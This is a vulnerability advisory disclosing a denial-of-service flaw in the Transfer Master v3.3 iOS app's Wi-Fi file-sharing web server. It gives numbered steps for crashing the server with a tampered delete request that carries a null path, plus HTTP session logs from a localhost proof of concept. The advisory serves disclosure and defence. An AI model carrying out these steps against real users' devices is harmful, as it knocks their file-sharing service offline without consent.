Document Title:  
Transfer Master v3.3 iOS - Denial of Service Vulnerability  
References (Source):  
Release Date:  
Vulnerability Laboratory ID (VL-ID):  
Common Vulnerability Scoring System:  
Vulnerability Class:  
Denial of Service  
Current Estimated Price:  
500€ - 1.000€  
Product & Service Introduction:  
Transfer Master - Transfer photo,video,file,contact and File manager.  
(Copy of the Homepage:  
Abstract Advisory Information:  
The vulnerability laboratory core research team discovered a remote  
denial of service vulnerability in the Transfer Master v3.3 mobile ios  
Vulnerability Disclosure Timeline:  
2020-04-28: Public Disclosure (Vulnerability Laboratory)  
Discovery Status:  
Exploitation Technique:  
Severity Level:  
Authentication Type:  
Pre auth - no privileges  
User Interaction:  
No User Interaction  
Disclosure Type:  
Independent Security Research  
Technical Details & Description:  
A remote denial of service vulnerability has been discovered in the  
official Transfer Master v3.3 mobile ios web-application.  
The denial of service vulnerability is located in the delete post method  
request on the files path. Remote attackers can  
manipulate the ui by sending special crafted requests to cause a null  
pointer error that crashs the wifi web-server.  
The attacker changes the file delete request to a null path which  
results in a null pointer that crashs the application.  
Successful exploitation of the denial of service vulnerability results  
in a wifi web-server ui crash and freeze.  
Proof of Concept (PoC):  
The denial of service vulnerability can be exploited by remote attackers  
with wifi network access without user interaction.  
For security demonstration or to reproduce the vulnerability follow the  
provided information and steps below to continue.  
Manual steps to reproduce the vulnerability ...  
1. Install and start the local ios app  
2. Open the wifi share option to start the web-server  
3. Move to the front ui  
4. Tamper the https session and reply by deleting the files path with  
(null) as empty quote  
5. The web-server crashs and the wifi ui becomes unavailable by a blank  
screen that responds with not found  
Note: Service still alive but finally unavailable cause of a null  
pointer issue  
6. Successful reproduce of the denial of service vulnerability!  
--- PoC Session Logs (POST/GET) ---  
Host: localhost:8181  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)  
Gecko/20100101 Firefox/75.0  
content-type: application/x-www-form-urlencoded;charset=UTF-8  
Content-Length: 28  
Connection: keep-alive  
POST: HTTP/1.1 302 Found  
Location: /  
Content-Type: text/html; charset=utf-8  
Content-Length: 67  
Host: localhost:8181  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)  
Gecko/20100101 Firefox/75.0  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://localhost:8181/  
Connection: keep-alive  
- (Game Over)  
GET: HTTP/1.1 404 Not Found (Unavailable)  
Accept-Ranges: bytes  
Content-Length: 0  
Credits & Authors:  
Vulnerability-Lab -  
Benjamin Kunz Mejri -  
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